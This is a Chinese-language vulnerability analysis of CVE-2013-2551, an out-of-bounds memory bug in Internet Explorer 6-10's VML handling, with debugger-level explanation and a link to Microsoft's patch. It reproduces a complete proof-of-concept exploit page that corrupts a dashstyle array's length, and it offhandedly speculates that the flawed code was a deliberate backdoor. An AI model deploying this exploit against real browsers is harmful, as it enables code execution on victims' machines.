### Microsoft Internet Explorer 不明细节远程代码执行漏洞(CVE-2013-2551)
### 漏洞简介
Micrsoft Internet Explorer 6-10存在一个未明的释放后使用错误,允许远程攻击者利用漏洞构建恶意WEB页,诱使用户解析,可导致引用已释放内存,以应用程序上下文执行任意代码。
### 影响系统
Micrsoft Internet Explorer 10
Micrsoft Internet Explorer 9
Micrsoft Internet Explorer 8
Micrsoft Internet Explorer 7
Micrsoft Internet Explorer 6
### 漏洞分析
**1.文中利用到的poc**
```
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function crashme(){
var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape")
Math.tan(2,3);
for (var i=0; i<0x400; i++){ //set up the heap
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
Math.sin(0);
for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
Math.cos(0);
vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1
Math.tan(2,3);
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
}
}
Math.sin(0);
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>
```
**2、基本知识点**
COALineDashStyleArray使用ORG来存储dashstyle属性的值。
ORG的结构:
0x04-0x05:数组元素大小
0x10:指向数组的指针
**3、COALineDashStyleArray::put_length**
当Poc运行到
vml1.dashstyle.array.length = 0 – 1
时,看看具体的过程:

获得COALineDashStyleArray对应的ORG。

元素之前的大小:0x002c
数组对应的地址:0x1c9e4f50。


Eax:原始的大小
Esi:用户设置的大小。
Jge进行有符号数的比较。
由于esi ffffffff(-1)比eax小,所以跳转。
调整的地方最终进行vgx!ORG::DeleteRange函数的调用,所需要的参数:
参数一:ORG指针(this)
参数二:inputLength(用户输入的大小) 0xffffffff
参数三:subLength( originalLength – inputLength ) = (0x2c – 0xffffffff ) = 0x2d

调用vgx!MsoDeletePx函数:
参数1:ORG 0x4的偏移(存储数组大小的地址)
参数2:inputLength
参数3:subLength( originalLength – inputLength )

调用vgx!MsoDeletePx函数:
参数1:ORG 0x4的偏移(存储数组大小的地址)
参数2:inputLength
参数3:subLength( originalLength – inputLength )
调用vgx!MsoFRemovePx
参数1:ORG 0x4的偏移(存储数组大小的地址)
参数2:inputLength
参数3:subLength( originalLength – inputLength )

Ebp+0c ffffffff
Ecx 00000004
乘积之后为-4 0xfffffffc

eax不为0,跳转:

Esi指向的内存存放的为数组原始的大小。

Edx:originalLength
Ebx: subLength( originalLength – inputLength )
Eax : inputLength
Add eax,ebx 最总eax为originalLength
Cmp eax, edx应该是进行数据验证。
很明显,在poc中构造的内容满足该条件,跳转:

下面的关键一步,修改ORG对象的大小。

由于[esi]为002c,bx为002d,所以做减后为0xffff。

到此时,ORG的大小被修改为了0xffff。
从上面可以看出,在COALineDashStyleArray::put_length中,ORG的大小字段是被当作有符号短整数来使用的。
下面再看看vgx!COALineDashStyleArray::get_item对该字段的使用。
** 4、vgx!COALineDashStyleArray::get_item **

通过vgx!CVMLShape::FetchProp获得ORG对象。


需要获得inputIndex为0x44的item,
Jle进行有符号数的比较。
由于0xffffffff表示-1,很明显0x44比-1大。不跳转。
上面的过程进行inputIndex > -1的判断(数组的index不能小于0)。

上面通过ORG::CElements获得数组元素的数目0x0000fffff。

InputIndex 0X44和 0x0000ffff比较,小于通过检查。
从上面可以看到,ORG::CElements是将数组元素的字段当作无符号短整数来使用的(short int 转int ),导致符号位丢失。
**5、越界访问**
当检测通过后,将获取index 0x44的值。但实际上数组的大小为0x2c。

当访问时将内存越界。

** 6、小结**
ORG的结构中使用0x04-0x05两个字节表示数组的大小,该字段应该是被设计为无符号短整数。
但是在COALineDashStyleArray::put_length中,使用的却是有符号整数的比较操作。
并且没有检测用户的输入是否为负数(ffffffff)。
在最终设置数组长度的过程中使用的值为:
originalLength:原始数组长度
inputLength:用户输入长度
设置新的数组长度:
originalLength –(originalLength – inputLength)(没必要用这种设置方式的,判断通过后,直接设置用用户输入长度inputLength多好。迂回这么多次,又容易出错。难道是为了留后门)。
如果
originalLength = 0x2c
inputLength = 0xffffffff。
在COALineDashStyleArray::put_length的验证中,使用的是有符号的比较。
Cmp originalLength, inputLength
Jge 跳转(直接修改数组大小)
修改的方式:
originalLength –(originalLength – inputLength)
第一步:
(originalLength – inputLength) = 0x2c – 0xffffffff = 0x2d
第二步:
originalLength - (originalLength – inputLength) = 0x2c -0x2d = 0xffffffff
导致最终数组长度被设置为0xffff。
由于COALineDashStyleArray::get_item数组中,仍然是将数组大小转换为四字节返回,导致我们可以越界访问0xffff的内容。
### 厂商解决方案
用户可参考如下厂商提供的安全公告获得补丁信息:
http://technet.microsoft.com/en-us/security/bulletin/MS13-037
暂无评论